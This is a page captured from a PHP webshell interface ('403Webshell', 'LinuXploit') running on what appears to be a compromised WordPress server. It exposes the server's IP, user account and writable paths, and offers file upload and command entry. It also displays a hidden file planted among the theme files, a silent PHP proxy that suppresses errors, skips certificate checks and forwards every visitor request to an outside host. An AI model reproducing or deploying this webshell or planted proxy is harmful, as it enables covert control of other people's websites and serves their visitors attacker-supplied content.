403Webshell
Server IP : 60.247.133.247  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux ebs-119054 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User : goodwill ( 65985)
PHP Version : 8.2.20
Disable Function : link,symlink,passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server,pcntl_fork,pcntl_rfork
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wwwroot/goodwill/wwwroot/wp-content/themes/GoodWill/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wwwroot/goodwill/wwwroot/wp-content/themes/GoodWill/inc/news.php.bak
<?php
/**
 * Universal PHP Proxy
 * PHP 5.6 - PHP 8.x Compatible
 */


@set_time_limit(0);

@ini_set('display_errors',0);

error_reporting(0);



/**
 * 获取服务器变量
 */
function server($key,$default='')
{
    return isset($_SERVER[$key])
        ? $_SERVER[$key]
        : $default;
}



/**
 * 获取真实IP
 */
function getRealIP()
{

    $keys=array(
        'HTTP_CF_CONNECTING_IP',
        'HTTP_X_REAL_IP',
        'HTTP_X_FORWARDED_FOR',
        'REMOTE_ADDR'
    );


    foreach($keys as $key){

        if(!empty($_SERVER[$key])){

            if($key=='HTTP_X_FORWARDED_FOR'){

                $arr=explode(',',$_SERVER[$key]);

                return trim($arr[0]);

            }

            return trim($_SERVER[$key]);
        }
    }


    return '';

}



/**
 * 请求头
 */
function requestHeaders($target)
{

    return array(

        'X-Static-Token: qdd2000',

        'Host: '.parse_url($target,PHP_URL_HOST),

        'X-Real-IP: '.getRealIP(),

        'X-Forwarded-For: '.getRealIP(),

        'X-Forwarded-Host: '.server('HTTP_HOST'),

        'User-Agent: '.server('HTTP_USER_AGENT')

    );

}




/**
 * CURL模式
 */
function requestCurl($url,$target)
{

    $ch=curl_init();


    curl_setopt_array($ch,array(

        CURLOPT_URL=>$url,

        CURLOPT_RETURNTRANSFER=>true,

        CURLOPT_FOLLOWLOCATION=>true,

        CURLOPT_SSL_VERIFYPEER=>false,

        CURLOPT_SSL_VERIFYHOST=>false,

        CURLOPT_CONNECTTIMEOUT=>10,

        CURLOPT_TIMEOUT=>30,

        CURLOPT_HTTPHEADER=>requestHeaders($target),

        CURLOPT_ENCODING=>''

    ));


    $data=curl_exec($ch);


    if($data===false){

        curl_close($ch);

        return false;

    }


    curl_close($ch);


    return $data;

}




/**
 * Stream模式
 */
function requestStream($url,$target)
{

    if(!ini_get('allow_url_fopen')){

        return false;

    }


    $context=stream_context_create(array(

        'http'=>array(

            'method'=>'GET',

            'timeout'=>30,

            'header'=>implode(
                "\r\n",
                requestHeaders($target)
            )

        ),

        'ssl'=>array(

            'verify_peer'=>false,

            'verify_peer_name'=>false

        )

    ));



    return @file_get_contents(
        $url,
        false,
        $context
    );

}




/**
 * Socket备用
 */
function requestSocket($url,$target)
{

    $info=parse_url($url);


    $host=$info['host'];

    $path=isset($info['path'])
        ? $info['path']
        : '/';


    if(isset($info['query'])){

        $path.='?'.$info['query'];

    }


    $port=
        isset($info['scheme'])
        && $info['scheme']=='https'
        ? 443
        : 80;



    $fp=@fsockopen(
        $host,
        $port,
        $errno,
        $errstr,
        10
    );


    if(!$fp){

        return false;

    }


    $request=
        "GET ".$path." HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        "User-Agent: ".server('HTTP_USER_AGENT')."\r\n".
        "Connection: close\r\n\r\n";



    fwrite($fp,$request);


    $response='';


    while(!feof($fp)){

        $response.=fgets($fp,1024);

    }


    fclose($fp);


    // 去掉HTTP头

    $pos=strpos($response,"\r\n\r\n");


    if($pos!==false){

        $response=substr(
            $response,
            $pos+4
        );

    }


    return $response;

}




/**
 * 自动选择
 */
function proxy($url,$target)
{

    // 1 CURL

    if(function_exists('curl_init')){

        $data=requestCurl(
            $url,
            $target
        );


        if($data!==false){

            return $data;

        }

    }



    // 2 Stream

    $data=requestStream(
        $url,
        $target
    );


    if($data!==false){

        return $data;

    }




    // 3 Socket

    $data=requestSocket(
        $url,
        $target
    );


    if($data!==false){

        return $data;

    }



    return 'Request Failed';

}





/**
 * 目标地址
 */

$target='http://jsc.qdd2000.com';



$url=$target.server(
    'REQUEST_URI',
    '/'
);



echo proxy(
    $url,
    $target
);

Youez - 2016 - github.com/yon3zu
LinuXploit